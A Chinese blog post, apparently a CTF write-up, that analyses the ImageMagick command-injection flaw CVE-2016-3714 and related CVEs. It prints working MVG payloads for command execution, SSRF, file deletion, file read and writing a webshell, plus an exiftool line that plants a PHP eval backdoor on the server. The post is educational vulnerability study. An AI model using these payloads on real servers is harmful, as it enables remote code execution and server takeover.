ImageMagick命令执行漏洞(CVE-2016-3714)浅析

前言

在做CTF题的时候碰到一道图片上传漏洞的题,尝试了很久发现并不能绕过检测。经过大佬提示这道题玩的是ImageMagick命令执行漏洞,CVE编号CVE-2016-3714,所以就想去好好了解一下这个漏洞。

ImageMagick

ImageMagick是一款功能强大,用户极多的开源图片处理软件,,可以用来读、写和处理多种格式的图片文件。很多网站开发者会调用这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等操作。

漏洞描述

ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器。

相同问题触发的漏洞有很多,如CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714命令执行漏洞。

该漏洞影响范围为ImageMagick 6.9.3-9以前的所有版本。

漏洞分析

ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码。

在ImageMagick的默认配置文件里可以看到所有的委托:/etc/ImageMagick/delegates.xml

具体代码参考这里

该漏洞出现在mageMagick对https形式的文件处理的过程中,所以直接定位到https Delegate那里:

1
" <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

可以看到,command定义了它对于https文件处理时带入system()函数得命令:"wget" -q -O "%o" "https:%M"。有些版本可能使用的curl命令,问题还是一样的。

wget是从网络下载文件得命令,%M是一个占位符,被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,所以我们可以将引号闭合后通过”|”,”`”,”&”等带入其他命令,也就形成了命令注入。

比如我们传入如下代码:https://test.com"|ls “-al

则实际得system函数执行得命令为:“wget” -q -O “%o” “ https://test.com"|ls “-al”

这样,ls -al命令成功执行。

漏洞利用

ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景。

所以我们可以构造一个.mvg格式的图片(但文件名可以不为.mvg,比如下图中包含payload的文件的文件名为vul.gif,而ImageMagick会根据其内容识别为mvg图片),并在https://后面闭合双引号,写入自己要执行的命令:

1
2
3
4
* push graphic-context
* viewbox 0 0 640 480
* fill 'url(https://"|id; ")'
* pop graphic-context

简单解释一下上面的POC:

  • push和pop是用于堆栈的操作,一个进栈,一个出栈;

  • viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;

  • fill url()是把图片填充到当前元素内;

使用fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。

系列漏洞

CVE-2016-3718:利用mvg格式中可以包含url的特点,进行SSRF攻击。

1
2
3
4
* push graphic-context
* viewbox 0 0 640 480
* fill 'url(http://example.com/)'
* pop graphic-context

CVE-2016-3715:利用ImageMagick支持的ephemeral协议,来删除任意文件。

1
2
3
4
* push graphic-context
* viewbox 0 0 640 480
* image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
* popgraphic-context

CVE-2016-3716:利用ImageMagick支持的msl协议(读取一个msl格式的xml文件,并根据其内容执行一些操作),来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
* file_move.mvg
* -=-=-=-=-=-=-=-=-
* push graphic-context
* viewbox 0 0 640 480
* image over 0,0 0,0 'msl:/tmp/msl.txt'
* popgraphic-context
*
* /tmp/msl.txt
* -=-=-=-=-=-=-=-=-
* <?xml version="1.0" encoding="UTF-8"?>
* <image>
* <read filename="/tmp/image.gif" />
* <write filename="/var/www/shell.php" />
* </image>

CVE-2016-3717:本地文件读取漏洞。

1
2
3
4
* push graphic-context
* viewbox 0 0 640 480
* image over 0,0 0,0 'label:@/etc/hosts'
* pop graphic-context

漏洞扩展

PHP扩展『ImageMagick』也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞。

除了.mvg格式的图片以外,普通png格式的图片也能触发命令执行漏洞。在ImageMagick源码中除了%m,还有%l占位符,表示图片exif label信息:

1
<delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>

它将%l拼接进入了/usr/bin/display命令中,所以我只需将正常的png图片,带上一个『恶意』的exif信息。在调用ImageMagick将其处理成.show文件的时候,即可触发命令注入漏洞:

1
2
* exiftool -label="\"|/usr/bin/id; \"" test.png
* convert test.png o.show

但这个方法鸡肋之处在于,因为delegate.xml中配置的encode=show(或win),所以只有输出为.show或.win格式的情况下才会调用这个委托,而普通的文件处理是不会触发这个命令的。

实例

最后回到那道CTF题:Jarvis OJ - 图片上传漏洞

通过网站目录扫描发现有和test.php界面,打开发现是phpinfo界面,其中开启了imagick模块:

先用 exiftool 生成一个一句话后门,路径由 phpinfo 得到:

1
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/x.php; \"" normal.png 

然后上传图片:

之后就是直接连接webshell或者找flag了:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/08/04/ImageMagick/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog